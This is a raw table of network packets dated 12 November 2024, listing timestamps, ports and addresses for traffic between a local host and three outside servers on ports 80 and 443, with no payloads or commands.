Nov 12, 2024 21:21:45.794670105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794677019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794691086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794692039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794702053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794713020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794713974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794724941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794743061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794754982 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794756889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794756889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794771910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794773102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794787884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794795990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794797897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794809103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794815063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794820070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794826984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794833899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794846058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794855118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794857979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794867039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794872046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794883013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794891119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794895887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794898987 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794908047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794919968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794924021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794931889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794939995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794950962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794951916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794965029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794976950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794982910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.794987917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.794989109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795001030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795011997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795021057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795022964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795034885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795041084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795047998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795062065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795062065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795077085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795095921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795156956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795172930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795183897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795192003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795196056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795207024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795209885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795218945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795222998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795231104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795248985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795248985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795248985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795263052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795274019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795278072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795286894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795286894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795299053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795301914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795317888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795325994 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795329094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795336962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795341969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795351028 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795353889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795365095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795368910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795377970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795381069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795389891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795402050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.795403004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795411110 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.795428991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.808707952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.812602043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:46.104295015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:46.109273911 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:46.885025978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:46.885314941 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:52.051307917 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:52.052800894 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:52.481153965 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:52.483115911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:58.755065918 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:58.755112886 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:58.755183935 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:58.755487919 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:58.755496979 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.504115105 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.504194975 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.505812883 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.505819082 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.506046057 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.515532970 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.563333035 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.762497902 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.762528896 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.762545109 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.762626886 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.762639999 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.762693882 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.777268887 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.777292013 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.777383089 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.777390957 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.777436972 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.881582975 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.881607056 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.881665945 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.881678104 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.881715059 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.881727934 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.883939981 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.883963108 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.884037018 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.884042025 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.884105921 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.884114981 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.886287928 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.886302948 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.886358023 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.886363029 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.886406898 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.922908068 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.922926903 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.923024893 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:21:59.923032045 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:21:59.923088074 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.001113892 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.001136065 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.001224041 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.001231909 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.001281023 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.002604008 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.002619982 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.002674103 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.002679110 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.002722979 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.004290104 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.004303932 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.004363060 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.004368067 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.004410028 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.005667925 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.005686998 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.005733013 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.005738020 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.005768061 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.005784988 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.006880999 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.006895065 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.006959915 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.006963968 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.007008076 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.009275913 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.009290934 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.009351969 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.009356976 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.009398937 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.042629957 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.042644978 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.042831898 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.042838097 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.042891026 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.119728088 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.119796991 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.119812012 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.119853973 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.119975090 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.119991064 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.120002031 CET	49763	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.120014906 CET	443	49763	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.161967039 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.162044048 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.162147045 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.162791014 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.162822962 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.163939953 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.163978100 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.164040089 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.164141893 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.164159060 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.164628983 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.164660931 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.164715052 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.166071892 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.166085005 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.166138887 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.166812897 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.166873932 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.166939020 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.166974068 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.166985989 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.167119026 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.167129040 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:00.167200089 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:00.167216063 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.500221014 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.502422094 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.503542900 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.506114006 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.506136894 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.509994030 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.510014057 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.510458946 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.513016939 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.513062954 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.513437033 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.513443947 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.513592005 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.513602018 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.515891075 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.515902042 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.524102926 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.524138927 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.524538040 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.524544001 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.634391069 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.634489059 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.634576082 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.634788036 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.634810925 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.634825945 CET	49768	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.634833097 CET	443	49768	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.637604952 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.637672901 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.637748003 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.637906075 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.637922049 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.639827013 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.639852047 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.639905930 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.639930010 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.640018940 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.640070915 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.640099049 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.640099049 CET	49767	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.640115976 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.640125036 CET	443	49767	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.642436028 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.642461061 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.642534018 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.642712116 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.642726898 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.646708965 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.646728039 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.646784067 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.646796942 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.646806955 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.646842957 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.647011995 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.647017956 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.647042036 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.647047997 CET	443	49765	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.649079084 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.649106026 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.649177074 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.649288893 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.649296999 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654478073 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654506922 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654587030 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.654623032 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654670954 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.654706001 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.654711008 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654742002 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.654885054 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654917002 CET	443	49764	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.654963970 CET	49764	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.656455040 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.656506062 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:01.656569004 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.656703949 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:01.656722069 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.378279924 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.378786087 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.378810883 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.378931046 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.379200935 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.379241943 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.379246950 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.379254103 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.379726887 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.379738092 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.381869078 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.382147074 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.382159948 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.382482052 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.382487059 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.388360977 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.388586998 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.388602018 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.388892889 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.388899088 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509097099 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509108067 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509183884 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509205103 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509258986 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.509354115 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.509435892 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.509454966 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509490013 CET	49769	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.509496927 CET	443	49769	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.509497881 CET	49770	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.509511948 CET	443	49770	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.510898113 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.510947943 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.510993958 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.511164904 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.511171103 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.511182070 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.511187077 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.513437033 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.513482094 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.513549089 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.513796091 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.513828039 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.513890982 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.513984919 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.513998032 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.514034033 CET	49775	443	192.168.2.4	13.107.246.45
